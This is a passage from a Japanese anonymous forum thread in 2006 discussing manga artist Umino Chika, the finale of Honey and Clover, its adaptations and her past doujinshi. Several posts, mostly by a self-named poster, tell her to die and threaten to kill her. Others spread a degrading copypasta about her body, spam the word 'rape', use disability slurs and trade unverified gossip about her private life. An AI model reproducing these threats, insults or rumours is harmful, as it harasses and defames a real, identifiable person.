387 名前：高橋佳子 [2006/10/29(日) 21:21:15 ID:fjMwWC0yO]: 曲は河村隆一がいいです
388 名前：高橋佳子 [2006/10/29(日) 21:23:26 ID:fjMwWC0yO]: 河村隆一と対談したい
389 名前：高橋佳子 [2006/10/29(日) 21:26:38 ID:fjMwWC0yO]: 中村うさぎさんと岩井志麻子さんとメル友ですが小説家なので漫画のコネはない
390 名前：高橋佳子 [2006/10/29(日) 21:27:42 ID:fjMwWC0yO]: 河村隆一も私の漫画の映画の主題歌歌いたいと望む
391 名前：あぼーん mailto:あぼーん [あぼーん]: あぼーん
392 名前：高橋佳子 [2006/10/29(日) 21:33:22 ID:fjMwWC0yO]: 漫画家高橋佳子です
文芸社と新風社から依頼ありましたがお金なくて出せません
無料の出版社がいいです
393 名前：高橋佳子 [2006/10/29(日) 21:39:45 ID:fjMwWC0yO]: 渚水帆として小説家では活躍しました
だから漫画家でも活躍したいです
394 名前：高橋佳子 [2006/10/29(日) 21:48:57 ID:fjMwWC0yO]: 漫画家になれないなら犯罪になります
嫌なら河村隆一主題歌で映画にして下さい
小説ガラスの鼓動でもいいです
395 名前：高橋佳子 [2006/10/29(日) 21:51:57 ID:fjMwWC0yO]: 小説家としてファンサイトもあります
www.geocities.jp/umibenokai/
396 名前：高橋佳子 [2006/10/29(日) 21:52:56 ID:fjMwWC0yO]: 海野の糞プログより充実したサイトです
397 名前：花と名無しさん mailto:sage [2006/10/29(日) 21:53:49 ID:???0]: 携帯で必死に連投してるのが笑える
398 名前：高橋佳子 [2006/10/29(日) 22:02:46 ID:fjMwWC0yO]: 397
海野本人死ね
私の人生を台無しにしやがって
399 名前：高橋佳子 [2006/10/29(日) 22:07:00 ID:fjMwWC0yO]: 私が統合失調になったのは海野のせいだ
渚水帆、太田愛、高橋佳子、望月小夜、海人、桃香、詩音
全部自演です
あひゃあ
400 名前：高橋佳子 [2006/10/29(日) 22:07:57 ID:fjMwWC0yO]: sumireも私
401 名前：花と名無しさん mailto:sage [2006/10/29(日) 22:37:49 ID:???O]: >>312 同人のモノによる。
子供の落書きから、プロの手慰みまで幅があるから。
402 名前：花と名無しさん mailto:sage [2006/10/30(月) 00:11:38 ID:???0]: 土日は病院から帰ってくる人がいるんだな
403 名前：花と名無しさん [2006/10/30(月) 00:26:01 ID:QXmwOQ7F0]: なんか修ちゃんって雨に似てるよね
404 名前：花と名無しさん mailto:sage [2006/10/30(月) 00:46:46 ID:???0]: >>403
うん。湿り気が多いね。再び蒸発するのはいつだろうｗ
405 名前：花と名無しさん mailto:sage [2006/10/30(月) 03:59:05 ID:???0]: デトロイトメタルシティの帯には笑った
あれ、ウミノさんが自分で考えたコピーなのかな？
だとしたらさすがのセンスだね

しかし、やっぱり自意識過剰ぎみな人だよな
他人様の本の宣伝で、ちゃっかりしっかり自分語り混ぜ込んでるあたりがw
406 名前：花と名無しさん mailto:sage [2006/10/30(月) 14:37:42 ID:???0]: 一気読みした。
中年になって振り返ると、若い時代って短いんだよね、とっても。
でも、じーさんばーさん達は、中年時代もあっという間で
とても充実した時代だったと言う。
そんなことを思いながら、最後の観覧車に泣けた。
407 名前：花と名無しさん mailto:sage [2006/10/31(火) 09:17:16 ID:???0]: 観覧車はせつないね、なぜか
今度鳥取行って砂丘を見てみたいとおもふ
408 名前：高橋佳子 [2006/10/31(火) 12:43:34 ID:XvhsrruaO]: きららの賞とれなかたら海野をコロ助
409 名前：高橋佳子 [2006/10/31(火) 13:10:39 ID:wObkIbCy0]: 私が小学生の頃ホクロゴリラと呼ばれていたのは海野のせい
410 名前：花と名無しさん mailto:sage [2006/10/31(火) 13:16:59 ID:???0]: 佳子さんのことが好きです
ずっと前から好きでした

付き合ってください
411 名前：花と名無しさん [2006/10/31(火) 14:40:23 ID:NmM/0mU3O]: すかさず
レイプレイプレイプレイプレイプレイプレイプレイプレイプレイプ
412 名前：花と名無しさん mailto:sage [2006/10/31(火) 19:14:06 ID:???O]: 出た…一秒に十回みかん発言…
ほっ、本物のセックスマシンガンズだ…
413 名前：花と名無しさん mailto:sage [2006/10/31(火) 19:16:01 ID:???0]: クラウザーｻﾝの１秒間に10回レイプ発言ｷﾀ━━━━(゜∀゜)━━━━!!!!
414 名前：花と名無しさん mailto:sage [2006/10/31(火) 22:33:28 ID:???0]: ハチミツとクラウザー・・・・見てみたい
どんな内容なんだ
415 名前：花と名無しさん mailto:sage [2006/11/02(木) 12:48:52 ID:???0]: 板違いかもしれんが・・・

ウ海野のホモ同人（１８禁）は
原案○○ちゃんと書いてあって
○○ちゃんに海野が「もうやめようよ～恥ずかしいよ～///」
みたいにぶりっ子ぶったシーンが書かれていた。
フェラだのモロがっちゅんだのをノリノリで書いてるくせに
誰かに無理矢理書かされたみたいな逃げ道をしっかり用意してあって、
なんだかなあと当時思ったよ。
416 名前：花と名無しさん mailto:sage [2006/11/02(木) 16:34:41 ID:???O]: 案外図々しいところもあるみたいだな
417 名前：花と名無しさん mailto:sage [2006/11/02(木) 16:43:46 ID:???O]: >>323
フォモドジンシ描いてた奴が
何が寂しいだｗｗｗ
それこそ問題ありだ
418 名前：花と名無しさん mailto:sage [2006/11/02(木) 16:48:48 ID:???O]: >>371
こういう障害者が一番迷惑
漫画家じゃないと漫画に文句言えないなんて初めて知ったよ
419 名前：花と名無しさん [2006/11/02(木) 16:50:29 ID:90sC2h/iO]: 最終回に感動した奴は雑草食いたいんだね☆
420 名前：花と名無しさん mailto:sage [2006/11/02(木) 20:21:57 ID:???0]: かなり前のスレで汁ﾌﾞｼｭのない同人だったと見たのですが・・・
421 名前：花と名無しさん mailto:sage [2006/11/02(木) 20:55:51 ID:???O]: スガシカオ×草野マサムネの同人とかもこっそり書いてたりして。

ホモっぽい将棋漫画の連載はまだですか？
422 名前：花と名無しさん mailto:sage [2006/11/02(木) 21:32:18 ID:???0]: ほとんどはせつないorギャグ系だったらしい。＞パロ同人
でも１８禁本も１－２冊は出していたはず。
423 名前：花と名無しさん mailto:sage [2006/11/02(木) 22:15:59 ID:???0]: （ホモ）同人誌に堂々と、ウルフルズの歌の歌詞を
全文書き写してあったけど
あの当時はそういうの全盛期だったもんね・・・

18禁ドジンシは、エンピツで書いた雑な漫画だったよ
それでも今１０万超える値が付いてんだもんな
424 名前：花と名無しさん mailto:sage [2006/11/02(木) 22:34:32 ID:???0]: あああ、初期の頃名作だと思ってた自分が恥ずかしい！
漸く最終巻読んだけど、☆多すぎて超うざい！
話が軽いノリのときはテンポの良さが出てて良い感じのときもあるけど、うざすぎ！！無理！！
あと登場人物の顔段々つぶれてってない？どんどん幼くなってる。
物語のなかでは成長してくんだから、高校生と変わらない入学したてと、研究生じゃあ全然違うはず。
ロリくなった絵柄と異様にちりばめられた☆のせいで最後の方超頭悪く感じる。
感情移入できないよ、こんなん。
425 名前：花と名無しさん mailto:sage [2006/11/02(木) 23:01:20 ID:???0]: その一冊だけ出した18禁本に
フェラと挿入はしっかり描いてあったな
426 名前：花と名無しさん mailto:sage [2006/11/02(木) 23:44:48 ID:???0]: >>415
同人誌の後書き漫画か何かかな？性格が出てるなぁ・・・。
ハチクロのヒロイン達の性格がどうしてああなったのか良くわかる。
427 名前：花と名無しさん mailto:sage [2006/11/03(金) 02:55:50 ID:???O]: 突っ込み役がいないことからして、
作者はリカみたいに悲劇のヒロインとして男にちやほやされたかったんだろうな。
現実はドジンシみたいな男はいないしね

作者はキャラみんなに恋愛させるのは良かったけど、
結局手を広げ過ぎて纏めきれなかったんだね。
だからアッサリと最終回
428 名前：花と名無しさん mailto:sage [2006/11/03(金) 03:46:09 ID:???O]: 作者は腐女子だったのか…。

道理で、作中のホモネタ（真山＆修のしょっぱいなあ、とか）がムカつくわけだ。
ホモネタ扱ってても、腹立つものとそうじゃないものがあるんだよね。

バイのﾁﾗｼ裏でした。
429 名前：花と名無しさん [2006/11/03(金) 07:48:25 ID:w+CEZppZ0]: >>423
１０万超えるとかウソ書くなよ。
まんだらけでの相場は４０００～１００００円だぞ。

スラムダンク花形×藤真のエロ本。
430 名前：花と名無しさん mailto:sage [2006/11/03(金) 08:51:00 ID:???O]: >>429突っ込むな、そいつ膿のだから
431 名前：花と名無しさん mailto:sage [2006/11/03(金) 12:09:34 ID:???O]: >>421ありそうで嫌だな
432 名前：花と名無しさん mailto:sage [2006/11/03(金) 14:42:29 ID:???O]: >>429
ヤフオクでそういう値段になったことあったんじゃないか？
いらないけどね。
433 名前：花と名無しさん mailto:sage [2006/11/03(金) 23:11:41 ID:???0]: 長谷川ってどうなったの？
434 名前：花と名無しさん mailto:sage [2006/11/03(金) 23:24:11 ID:???O]: >>433
死んだ
435 名前：花と名無しさん [2006/11/04(土) 00:47:41 ID:i4lRY5H90]: サイゾーの記事の内容がここのサイトが詳しかった。↓
ttp://www.st.rim.or.jp/~nmisaki/ > ■文化庁著作権課が同人誌と著作権についてコメント。
> 　そして、「サイゾー6月号」でもうひとつの記事を話題としたい。
> 「偉人・奇人日本代表！」と称した特集で羽海野チカを取り上げている。
> 「人気漫画家のエロエロやおい本を大公開！！」というアオリもアイタタだが、
> 彼女のスラムダンク時代の同人誌をわざわざ井上雄彦に見せてコメントを取ろうと
> いう頭痛のするような企画。
長いので全文引用はしないが（詳しく知りたい人は該当ページに飛んでください）
簡単にまとめると
・サイゾーライターがウミノさんが描いたスラムダンクのエロヤオイ同人誌を
　井上雄彦に送りつけて感想を聞くという企画をする。
・集英社は井上雄彦へエロヤオイ同人誌を渡すのを断る。
・が、講談社は、井上雄彦にエロヤオイ同人誌を渡してしまう。
・井上雄彦側からは、感想も本を読んだかどうかも完全にノーコメント。
・サイゾーは同人誌とは著作権侵害じゃないのかと「文化庁著作権課」に問い合わせた。

がんばってこれコピペしまくったかいがあった。↓
このレスをイトタケ関連スレ１０箇所にコピペすると
必ずラッキーなことがおこりますよ。。
152 名無しさんの次レスにご期待下さい sage 2006/03/27(月) 11:50:13 ID:zJ0BRnIN
羽海野チカさん、スラダンホモ同人時代よくご一緒したけど口臭がものすごくキツかった…
なんていうか、息がウンコのニオイなんだよね
最初は病気かな？と心配したけれど日記とかみてるとたぶんコーヒーの飲み過ぎなんだと思う
もう少しマメに歯磨きして、ブレスケアか何か飲んだらいいのに…
口臭がウンコってキツイ。
436 名前：花と名無しさん [2006/11/04(土) 00:54:14 ID:i4lRY5H90]: 集英社にはあっさり断られた（当たり前だ）のだが、なんと講談社『モーニング』編集部は井上雄彦に取り次いでしまうという暴挙にでる。えーと、集英社の対応の方が常識的かと思うのですが、
どういうわけなんですかね？　井上雄彦サイドから各種取材については自分で判断するから、全部取り次ぐような指示が出ているかしら（これはありそう）？
　まあ、結果としては井上雄彦はノーコメント（「井上先生にお送りしましたが、特にコメントはないとのことです。本人が読んだかどうかは知りません」
（担当編集の発言））だし、担当編集者本人のコメントも「読むつもりはありませんし、先生がコメントする必要がないと判断された以上、コメントできません」ということなので、
落ち着くところに落ち着いているのだが……。
　とはいえ、このままでは収まりがつかないのか、「冷たくあしらわれてしまうのは、同人誌は出版社の敵なのか？（中略）もしかして、この手の同人誌は著作権を侵害している？」
ということで、今度は矛先が文化庁著作権課へ
（おいおい）。ところが、ここでヒョウタンからコマ、文化庁著作権課のコメントに驚いた。
　「『原作者と同人作家の間には、見て見ぬ振りという、“暗黙の了解”が存在するため、侵害しているとは断言できません。それゆえ、よほど悪質な
ものでない限り批判的な立場を取ることはありません」　その理由として、同人誌のおかげで原作の知名度が上がることもあるし、また原作側で同人誌を訴えるなどすれば、原作の
イメージが悪くなることさえあるからだという。」
　私が記憶する限り、いわゆるまんが同人誌について、文化庁著作権課がコメントを出したことはおそらくこれがはじめてであり、しかも、
実態をよく御存知でもあることがこの文章からは伺える。もちろん、著作権の侵害は親告罪であり、基本的に文化庁が侵害の有無を論じる立場にそもそもないわけだが、
その前提があるにしても、このコメントが世に出たのは、この記事のライターの思惑を越えてはるかに重要な意味がある。羽海野さんにとってはほとんど有名税的
な記事であり、しかも、羽海野さんリスペクトを装った記事のいやらしさにもうんざりで、まことに同情を禁じ得ないのだが、思わぬ拾いモノの記事ではあった。
437 名前：花と名無しさん mailto:sage [2006/11/05(日) 02:07:38 ID:???0]: これ何のお経？
438 名前：花と名無しさん mailto:sage [2006/11/05(日) 02:34:18 ID:???0]: 昔何度かウミノさんと話したことあるけどウンコ臭い口臭なんてしなかったよ？
そいつ本当は自分の口が臭かったんだと思う
439 名前：花と名無しさん mailto:sage [2006/11/05(日) 03:07:32 ID:???0]: 8日に発売された「ハチミツとクローバー」（羽海野チカ、クイーンズコミックス）
の最終巻となる10巻が、予想通り圧倒的な人気を見せました。
7月に9巻が出たので間は短かったのですが、待っていたコミックス派の人が多かったようで、
週末まで売れ行きが落ちませんでした。

掲載誌が2誌とも休刊するなど不運もあった作品ですが、
男女問わず幅広い層に支えられて見事に完結しましたね。
440 名前：花と名無しさん [2006/11/05(日) 09:06:08 ID:9Jgy+panO]: きららとれなかたら海野ころす
441 名前：花と名無しさん [2006/11/05(日) 11:15:47 ID:Hq3FYEsL0]: >>435-436
花形は藤真の淡い蕾に、そっと指を挿入した…。まで読んだ。
442 名前：花と名無しさん [2006/11/05(日) 13:02:10 ID:t7Q0tMOn0]: キモイ

(ウミノが
443 名前：花と名無しさん mailto:sage [2006/11/05(日) 13:03:50 ID:???0]: やおいエロ書いた、まではいい

自分だって見たいくせに他人になすりつけた、に引いた。
444 名前：花と名無しさん mailto:sage [2006/11/05(日) 13:40:03 ID:???O]: ていうか友達ができなかったとかひとりぼっちだったとか
あざといにも程がある。
同人時代の友達は無視ですかそうですか
445 名前：花と名無しさん mailto:sage [2006/11/05(日) 14:00:40 ID:???0]: 羽海野先生がやたら叩かれてるけど、私は羽海野先生の後書きが
面白くて買うのも一つの楽しみだったんだけどなぁ。。
元同人作家って肩書きがあるといろいろと大変だね･･･。

でも、正直10巻は腑に落ちないというか、あれ？って思う間もなく
終わっちゃった感じで消化不良。
9巻は感動して読み返しては泣いたが、10巻のあの終わり方は･･･感情移入出来なかった。
もうちょっと巻数伸ばして丁寧に話を描いた方が良かったんじゃないかと。
446 名前：花と名無しさん mailto:sage [2006/11/05(日) 14:19:37 ID:???0]: ずーっとアシやってた　はれたんって同人時代からのつきあいだよね？
友達というより割り切ってやってたのかな
それにしてもあとがき漫画でウミノ村の仲の良さを語ってるしなぁ
447 名前：花と名無しさん mailto:sage [2006/11/05(日) 14:38:38 ID:???0]: 同人時代の友達無視で良いじゃん
大した奴らじゃないから同人なんだろ？ｗ
448 名前：花と名無しさん mailto:sage [2006/11/05(日) 15:19:12 ID:???0]: 8日に発売された「ハチミツとクローバー」（羽海野チカ、クイーンズコミックス）
の最終巻となる10巻が、予想通り圧倒的な人気を見せました。
7月に9巻が出たので間は短かったのですが、待っていたコミックス派の人が多かったようで、
週末まで売れ行きが落ちませんでした。

掲載誌が2誌とも休刊するなど不運もあった作品ですが、
男女問わず幅広い層に支えられて見事に完結しましたね。
449 名前：花と名無しさん [2006/11/05(日) 15:45:24 ID:Hq3FYEsL0]: 友達がいなくてコミケ後に泣きながら帰った、とか、なんだかキモイエピソードを
読んだ覚えがある。
450 名前：花と名無しさん mailto:sage [2006/11/05(日) 15:47:09 ID:???0]: >>447　←ｳﾐﾉっぽくね？
451 名前：渚　水帆（作家＆元阪大アイドル） [2006/11/05(日) 15:52:23 ID:CujPbQT10]: ハチミツとクローバー友だちに勧められて愛読しています♪

新しい画像掲示板新設しました！

↓遊びに来てね♪
4363．夜のバラ園白返信引用

名前：渚　水帆日付：11月5日(日) 15時49分
夜のバラ園　ライトアップされた
白の薔薇もＵＰしてみました♪

トムは真夜中の庭という児童文学なんか好きでした。
意外な結末に幼いながらびっくりでした！

↓画像は下♪
hp.jpdo.com/cgi40/96/joyful.cgi?
452 名前：花と名無しさん mailto:sage [2006/11/05(日) 16:34:23 ID:???0]: >>450
同人時代の友達に対して
似たような感情を持ってる事は間違いないな
453 名前：花と名無しさん mailto:sage [2006/11/05(日) 18:30:36 ID:???O]: 海野に限らず基本的に
同人（二次創作、特に得ろ展開）やって、そういう内容の本を売るとか
その活動で「私ってｸﾘｴｲﾃｨﾌﾞ♪」とか勘違いしている奴は理解不能なんだが

大した事ない漫画を媚びとコネで商業誌に連載させた上
かなり早い段階で　本人一発屋＋各方面で黒歴史　になりつつある
痛寒い中年女性に他人をどうこう云う資格なんかないと思う。

趣味の域を出ずに楽しんでいる方がまだマシだよ。海野は厚かましいにも程がある。
よくあんな姿勢で仕事出きるな。人間性を疑う。
454 名前：花と名無しさん mailto:sage [2006/11/05(日) 20:24:36 ID:???0]: ドジンやってたから叩かれてるんじゃなくて、微妙な隠し方で叩かれてた
感じだよ、それに関しては、発言がコロコロかわってるからね。
作者が同人嫌いだから嫌われたくないから言わない、とかコメントした
後で、スラダンらしきキャラを堂々と自分の作品に出す、クオリティ・・・。
455 名前：花と名無しさん mailto:sage [2006/11/05(日) 21:00:44 ID:???O]: ナルトの合同本やらテニプリアンソロやらやっといて何が友達おらんやねん
456 名前：花と名無しさん mailto:sage [2006/11/05(日) 21:02:57 ID:???0]: しかも、ばれたら泣いちゃいます。だってさｗ
457 名前：花と名無しさん [2006/11/05(日) 23:29:32 ID:Hq3FYEsL0]: 聖闘士星矢のことしらばっくれてるコミックスの後書きも、白々しくて引いたよなぁ。
458 名前：花と名無しさん mailto:sage [2006/11/06(月) 00:16:49 ID:???0]: >ばれたら泣いちゃいます。
気持ちはわからんでもない。でもペンネームそのままでこの言い分は通らないと思うけど…
よしながふみみたいに堂々としてればいいのに。

漫画自体は終盤の失速はともあれ人気あるのに自分の言動で損するタイプだな。
459 名前：花と名無しさん mailto:sage [2006/11/06(月) 00:30:34 ID:???0]: でもこの人絶対すっこんでられないタイプだろうね
余計な事言わずにはいられない性分っぽい
460 名前：花と名無しさん mailto:sage [2006/11/06(月) 00:44:03 ID:???O]: 内気＆謙遜気取りの割に
アピール好き＆作品語り好きな作家ってどうよ。
461 名前：花と名無しさん [2006/11/06(月) 01:23:08 ID:YITsXbhe0]: ヲタ女の特徴そのまんまで、いいんじゃね？
462 名前：花と名無しさん mailto:sage [2006/11/06(月) 02:09:51 ID:???0]: 63話の後半が良くわからなかったのだが

あれは未来の話なのか？
463 名前：花と名無しさん mailto:sage [2006/11/06(月) 10:41:43 ID:???O]: 次作の将棋マンガの掲載誌はどこ？
464 名前：花と名無しさん mailto:sage [2006/11/06(月) 16:03:04 ID:???0]: つぎ将棋マンガなの？
465 名前：花と名無しさん mailto:sage [2006/11/06(月) 16:24:49 ID:???O]: 表紙やら何やらで早速次の萌えに移ってたじゃないかｗ
466 名前：花と名無しさん mailto:sage [2006/11/06(月) 16:52:16 ID:???0]: 同人やってたのか。やはり高村薫の本にイラスト書いてたぐらいだからホモ同人なのか？
467 名前：花と名無しさん mailto:sage [2006/11/06(月) 17:56:17 ID:???O]: >>466
もちろん。二次もオリジナルも
468 名前：花と名無しさん [2006/11/06(月) 22:50:11 ID:EcZO/k920]: この漫画の非売品を集めているんだけど、
ヤフオクでもほとんど出てないね・・・。
469 名前：花と名無しさん mailto:sage [2006/11/06(月) 23:13:39 ID:???0]: 同人ねー。
別に今描いてるのが面白ければ昔なにやってようが関係ないんじゃないの？
470 名前：花と名無しさん mailto:sage [2006/11/06(月) 23:22:35 ID:???O]: 面白ければね。
471 名前：花と名無しさん mailto:sage [2006/11/07(火) 02:13:27 ID:???O]: >469
この作者の場合大いに関係ありだから話題になっているのに
何で今更そんなレスがつくんだｗ
472 名前：花と名無しさん mailto:sage [2006/11/07(火) 02:49:24 ID:???0]: >>460
まるで村山由佳だね
一昔前の少女漫画ネタを凡庸な言葉で綴り直す解説好きな直木賞作家かよ
トーク番組で相手より先にウンウン頷きながら自分語りしてた姿を思い出す
自分に都合のいい嘘をつきながら相手に良く見てもらおうと心血注ぐ痛々しいタイプなのか
473 名前：花と名無しさん [2006/11/07(火) 09:48:42 ID:gDbBhjc40]: 木更津キャッツアイの脚本家がインタビューで、脚本に
「○○さんにこんな役はやらせられない」「○○さんにこう演じてほしい」
などの私情が入ってしまうのはよくないと思うから
出演者のことを知り過ぎないようにしている…みたいな発言をしていた。

漫画に、ドラマ出演者やアニメ声優への私情が入るのが大好きな
ウミノさんに読んでほしいインタビューだと思った。
474 名前：花と名無しさん mailto:sage [2006/11/07(火) 10:45:45 ID:???0]: ウミノさんはアニメや声優さんに詳しそうだね
475 名前：1 mailto:sage [2006/11/07(火) 10:53:10 ID:???0]: >>449同人経験のないやつはよまされたら
欝になるよな。経験あるやつは
そうゆうことあるあるｗ的なネタでたのしいだろうけど。
ホモパロにしろそういう同人者がよろこぶエピソードこそ
同人誌にしかかかないほうがいいのに。

自分の意思でホモパロかいてたくせに
人にやらされた(泣。)みたいなそういう
潔くないこと書くから叩かれるんだよ。
別に過去をほじくりだして
楽しいとか思ってんのかな。
476 名前：花と名無しさん mailto:sage [2006/11/07(火) 11:01:10 ID:???0]: どうして羽海野さんは同人時代の思い出（作品や友人）をなかった事のようにしたいんだろう？
否定的っていうか。羽海野さんは同人時代もすごく人気がある最大手だったんだから
それもまた輝かしい過去だと思うんだけど…
謙虚な人なのかな。

将棋マンガいつ掲載するんだろう、楽しみ。
477 名前：花と名無しさん mailto:sage [2006/11/07(火) 11:36:45 ID:???0]: >>476
一般受けしたいならマイナスだけどなｗｗｗｗｗｗｗｗｗｗ
478 名前：花と名無しさん mailto:sage [2006/11/07(火) 11:51:26 ID:???0]: >>473
うーん。私はﾒﾃﾞｨｱ化するなら
できるだけ作者に加わって欲しいな。
479 名前：花と名無しさん mailto:sage [2006/11/07(火) 11:55:44 ID:???0]: 海野さんって可愛い誘い受けって感じだね
480 名前：花と名無しさん mailto:sage [2006/11/07(火) 11:57:36 ID:???0]: 自分が一生懸命作り上げた作品に対して、俳優さんを指名するとか語るのは
それだけ自分の作品を良くしたい現れだし良いと思うけど。>>473
481 名前：花と名無しさん mailto:sage [2006/11/07(火) 12:12:32 ID:???0]: >>480
そのメディア化の際、作者の介入さじ加減が難しい所で
謙虚にスタッフおまかせ（丸投げ）だと原作イメージ崩壊の駄作に成り下がるし
作者のイメージ重視で役者声優指定など細かい所まで口出ししだすと作者ウザイと評判落とすし
本当、難しいよね。
482 名前：花と名無しさん mailto:sage [2006/11/07(火) 12:15:35 ID:???0]: 崩壊するくらいならｳｻﾞがられて欲しい
483 名前：花と名無しさん mailto:sage [2006/11/07(火) 12:40:27 ID:???0]: そもそも映像化自体イラネ。
484 名前：花と名無しさん [2006/11/07(火) 13:28:51 ID:7WJe59320]: >>482
ｳｻﾞがられるとその分愛がない訳で、そんな人達が製作していくとかなりおざなりなモノが出来上がってしまうんじゃないかなぁ。
ｱﾆﾒスタッフは相当原作を気に入っていたと思うし、その思い入れがｱﾆﾒとして浮かんでいる気がしたんだよね。

本当、難しいよね。ｗ
485 名前：花と名無しさん mailto:sage [2006/11/07(火) 13:45:07 ID:???O]: ハチクロアニメの成功は奇跡に近いよね。
特にラストに向かう流れは、自分には原作よりアニメの方が出来が良かったとさえ思えた。
監督とスタッフがハチクロ大好きだったから成し得たいい例だろうけど
すべての作品がそううまくいかないのが悲しい現実だな。
486 名前：花と名無しさん mailto:sage [2006/11/07(火) 13:57:45 ID:???0]: アニメなんか観る気もしない
487 名前：花と名無しさん mailto:sage [2006/11/07(火) 14:08:38 ID:???0]: アニメは最高の出来だったよ
ウミノさんも嬉しかったろうね
488 名前：花と名無しさん mailto:sage [2006/11/07(火) 14:23:51 ID:???0]: さて・・・・・・・
ウミノの口臭はウンコのコピペしてくるか。
489 名前：花と名無しさん mailto:sage [2006/11/07(火) 14:42:19 ID:???0]: >>476
謙虚とは程遠い性格だろー
同人時代の友人を「いじめられてた」とかなんとか
ばっさり切ろうとしてんだから
490 名前：花と名無しさん mailto:sage [2006/11/07(火) 15:00:03 ID:???0]: アニメで原作者が衣装協力かなんかやってるのはよかった。

いつもは制服とかで気にならないけど、普段着がありえないセンス
というパターンがオタ系アニメでよくある。
アニメのハチクロでそういう違和感はなかった。
491 名前：花と名無しさん mailto:sage [2006/11/07(火) 15:13:03 ID:???0]: たまたま貸してくれた人がいて先入観なく読んだから
フツーに面白かった。

みんな好きな漫画とか、作家とかいると
過去に何してたとか、他の雑誌に載ってたとか結構チェックしてるもんなんだね。
この板自体あんまり来た事がないから空気読めてないかもしれないけど
みんなの漫画に対する情熱だけはわかった。ホント好きなんだね。
492 名前：花と名無しさん [2006/11/07(火) 15:37:31 ID:Yem/WbDOO]: きららとれなかたからろす
493 名前：花と名無しさん [2006/11/07(火) 15:38:15 ID:Yem/WbDOO]: もうばいしんしたない
494 名前：花と名無しさん [2006/11/07(火) 15:38:54 ID:Yem/WbDOO]: うみのせいでぼろぼれ
495 名前：花と名無しさん [2006/11/07(火) 15:39:40 ID:Yem/WbDOO]: おおさかからばいしんできたのにだめなった
496 名前：花と名無しさん mailto:sage [2006/11/07(火) 15:54:26 ID:???0]: >>489
同人時代の友人？かはわからないけど当時からウミノさん叩いてた人達は
いるよね（まあよくあることだけど）。
プロデビューされてこれだけハチクロで成功したのを彼女らがどれだけ
悔しい気持ちで見てるのか想像するとちょっと気の毒だけオモシロイ。

ウミノさんって同姓からみてあざとさが鼻につく典型的なタイプなんだよね。
しかもスパッとしたところが全然ないから一見弱そうに見えて弱いものイジメ
の好きな人間の標的にされやすいものの突付いてみると想像以上にシブトク
あざとい。
粘着がつきやすいのも頷ける。
私は同人時代からウミノさんの作品は好きだったけど本人はあまり好きじゃない
からできるだけメディアに出ないで黙々とマンガだけ描いててくれないかなーと
思っている。
497 名前：花と名無しさん mailto:sage [2006/11/07(火) 16:05:16 ID:???0]: >>491
空気読めていないというより根本的に分かっていないというか…
あまりにも的外れでツッコミ所満載だったので吃驚した

もう一つひとつ説明すんのも面倒くさいし
釣りならもっと活気のあるスレでやったらいいと思うよ
498 名前：花と名無しさん mailto:sage [2006/11/07(火) 16:08:29 ID:???0]: >>491
なんの先入観？

自分もハチクロはフツーに面白いと思うよ
499 名前：473 [2006/11/07(火) 16:14:51 ID:v2tb7riC0]: >>478　>>480
ごめん言葉足らなかった。

クドカンインタビューでは
クドカンは
木更津キャッツアイで
演じてる俳優達と結構仲良くなってしまったんだって。
それで、いい雰囲気でドラマが撮れたり
愛着のある作品になったのは良かったけど
なまじ俳優達を知ってしまったせいで
「○○くんは素顔は礼儀正しいから
　○○くんにこんな役（ハチャメチャなことやドキュンなこともする役）を
　やらせたら○○くんに悪い」
などと考えてしまい、私情が入って
脚本に影響でそうになったとか
脚本に影響出ないように気をつけていた、それはよくないことだから
…みたいな発言をしてたんだ。

ウミノさんだと、実際に会ったはぐ役の女優さんや
臭ちゃん役の俳優さんがステキな人だったからと
バリバリ漫画に影響させたでしょう。
はぐがいきなり身長が伸びて大人っぽくなってたり。

ああいうのってやっぱりよくないんじゃないかなぁ。
クドカンみたいな考えのほうが作者としてはいいんじゃないかなぁと思った。
500 名前：花と名無しさん mailto:sage [2006/11/07(火) 16:34:18 ID:???0]: >>490
細かいことだけど…
山田の頭のお団子カバーとか森田のジーパンに妙なステッチが入ってたり
ランドセル森田の蝶ネクタイが水玉だか星柄だかだったりっていうのだけでも
自分はアニメだな～と萎えたよ。
501 名前：花と名無しさん mailto:sage [2006/11/07(火) 18:03:11 ID:???0]: >>496
同人時代のウミノと付き合いがあった人で、いじめどころか
怒った所すら見た事無いような人何人か知ってるけど
そういう人も全部ひとくくりにして「同人の人はみんな私にいじわるで…」
的なニュアンスで語ってる事にすごく驚いた。
よく自分の同人誌で同人界を見下すような発言もしていたし
当時も今も凄く不思議なのは、そこまで同人が嫌なら、
同人なんかやらなきゃ良かったのにって事だけだが。
502 名前：花と名無しさん mailto:sage [2006/11/07(火) 18:22:08 ID:???0]: >>499
ｸﾄﾞｶﾝは浅はかで、ウミノはミーハーってだけじゃん
何でそれでｸﾄﾞｶﾝ見習えとかになるんだか
503 名前：花と名無しさん mailto:sage [2006/11/07(火) 18:29:16 ID:???0]: >>480-482
映像化について、
もう別物なのだと割り切ってしまう方もそうじゃない方も
色々と考えがあってのことだろうし、それが傍から見て痛々しく映っても
作品に対する思い入れ故なら「あちゃー」で済むかもしれないけど
この人の場合そういう範囲を超えているからなあ。

作品と関係ないどうでもいい私情やら
作品と関係ないしょうもない苦労話やら余計なこと喋りすぎだし
それらが作品の糞っぷりと見事に重なるからそれはいかんと思う。

ああ、だから平然とこの行為をマンセーする展開になるのか、とか
ああ、だからこんな㌧でもない事しても咎められる場面一切ないのか、とか

頑張って深読みしなくても、インタビューを幾つか読めば
スコーンと腑に落ちて脳内補完終了できるくらい作者自身と直結していて、
単に漫画好きの中年女性のブログを読んでいるような気分になる。

友人に個人的にされても引くような話を、畑の違う初対面に近い人間や
大勢の人間が金払って読む雑誌等に垂れ流す精神状態には悪寒が走る。

anime.2ch.net/test/read.cgi/anime/1113499001/851-852
504 名前：花と名無しさん mailto:sage [2006/11/07(火) 19:01:58 ID:???0]: てゆうか映像化の余地まだあんの？
デスノがノリノリだからまだまだ漫画原作の映像化って金脈視されてそうだけど
ハチクロはあれだけ映画で大コケしといて・・・
505 名前：花と名無しさん mailto:sage [2006/11/07(火) 19:07:04 ID:???O]: 個人的に二次創作やそれのエロ本は
描くことも売ることも理解できんし、どちらかというと軽蔑しているんだが

そういったことを抜きにして
こんな奴と関わり合いを持ってしまった人は
さぞ面倒く不快な思いをしただろうなと思ってしまった

両者の間に何が横たわっているのか知る由もないが
自称「友人」ウミノ曰く「いじめっ子」の連中は正直どう思っているんだろう
506 名前：花と名無しさん [2006/11/07(火) 19:08:13 ID:v2tb7riC0]: >>503
すげー。そのスレのウミノさんの名言集すげー。
このスレのテンプレにもしたい。

